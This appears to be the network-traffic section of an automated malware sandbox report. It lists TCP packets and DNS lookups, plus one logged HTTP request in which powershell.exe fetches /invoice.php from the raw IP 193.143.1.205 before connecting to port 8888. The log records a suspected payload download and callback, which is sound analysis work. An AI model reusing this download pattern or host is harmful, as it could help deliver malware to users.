Jan 11, 2025 05:11:23.127309084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.130724907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.146848917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.146884918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.146979094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.147133112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147167921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147197962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.147202015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147255898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.147295952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147351027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147382975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147403002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.147416115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147449017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147480011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.147485018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147530079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.147627115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147655964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147687912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147701979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.147722006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147753954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147764921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.147800922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147833109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147846937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.147866964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147898912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147912025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.147934914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147967100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.147979021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.148003101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.148046970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.168596029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.168631077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.168698072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.169043064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.169078112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.169111967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.169126034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.169143915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.169178009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.169207096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.169212103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.169246912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.169266939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.172666073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.172733068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.172816038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.172848940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.172895908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.172899961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.172933102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.172980070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.172982931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.173016071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.173049927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.173063993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.173082113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.173115015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.173135042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.173149109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.173181057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.173208952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.173213959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.173247099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.173261881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.173280001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.173350096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.192378044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.192424059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.192478895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.192503929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.192513943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.192548037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.192574024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.192584038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.192617893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.192634106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.192651987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.192689896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.213167906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213206053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213239908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213272095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213315964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.213324070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213356972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213368893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.213392019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213406086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.213440895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213484049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.213490009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213522911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213556051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213570118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.213591099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213624001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213644981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.213656902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213690996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213711023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.213778973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213808060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213828087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.213840961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213872910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213885069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.213905096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213957071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.213958025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.213989973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214024067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214049101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214056969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214095116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214102983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214123011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214170933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214174986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214204073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214252949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214253902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214287043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214320898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214332104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214354038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214389086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214404106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214421034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214454889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214471102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214565992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214597940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214617968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214632034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214663029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214683056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214715958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214745045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214765072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214793921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214824915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214847088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214874029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214906931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214922905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.214940071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214975119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.214987040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.215289116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.215346098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.215347052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.215379953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.215415001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.215431929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.215447903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.215538979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.215974092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216006994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216041088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216058969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.216073990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216124058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216125011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.216157913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216191053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216202974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.216223955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216258049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216272116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.216286898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216319084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216339111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.216352940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216381073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216402054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.216414928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216449976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216465950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.216571093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216603994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216624022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.216638088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.216685057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.224880934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.233803988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.233835936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.233870029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.233903885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.233916044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.233954906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.233978987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.233989000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234020948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234035969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.234054089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234100103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.234102964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234137058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234170914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234180927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.234204054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234247923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.234253883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234287977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234318972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234332085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.234353065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234392881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.234400988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234432936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234464884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234477997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.234497070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234529972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234536886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.234565020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.234610081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.234726906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.237334013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.256028891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.256052971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.256067991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.256082058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.256098032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.256158113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.256165028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.256191969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.256345034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.259448051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259464979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259535074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.259581089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259732962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259747982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259762049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259774923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259779930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.259790897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259805918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.259823084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.259885073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259900093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259913921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259927034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259942055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.259958982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.259984970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.260046959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.260061979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.260097980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.262662888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.279371977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.279390097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.279403925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.279417992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.279473066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.279496908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.279576063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.279591084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.279604912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.279618979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.279622078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.279644966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.300983906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301002026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301017046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301062107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.301081896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.301115036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301134109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301147938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301162004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301184893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.301209927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.301271915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301286936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301302910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301323891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.301417112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301433086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301446915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301460981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301461935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.301486969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.301580906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301597118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301611900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.301626921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.301650047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.344288111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.957782984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:24.666193962 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:24.671091080 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:24.671170950 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:24.671377897 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:24.676158905 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:25.461286068 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:25.504530907 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:25.537580013 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:39.636316061 CET	55071	53	192.168.2.5	1.1.1.1
Jan 11, 2025 05:11:39.641271114 CET	53	55071	1.1.1.1	192.168.2.5
Jan 11, 2025 05:11:39.641340971 CET	55071	53	192.168.2.5	1.1.1.1
Jan 11, 2025 05:11:39.646274090 CET	53	55071	1.1.1.1	192.168.2.5
Jan 11, 2025 05:11:40.114648104 CET	55071	53	192.168.2.5	1.1.1.1
Jan 11, 2025 05:11:40.120678902 CET	53	55071	1.1.1.1	192.168.2.5
Jan 11, 2025 05:11:40.120762110 CET	55071	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:11:33.605995893 CET	60948	53	192.168.2.5	1.1.1.1
Jan 11, 2025 05:11:39.635828972 CET	53	50636	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:11:33.605995893 CET	192.168.2.5	1.1.1.1	0x862	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:11:33.614376068 CET	1.1.1.1	192.168.2.5	0x862	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6768	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:11:21.706913948 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
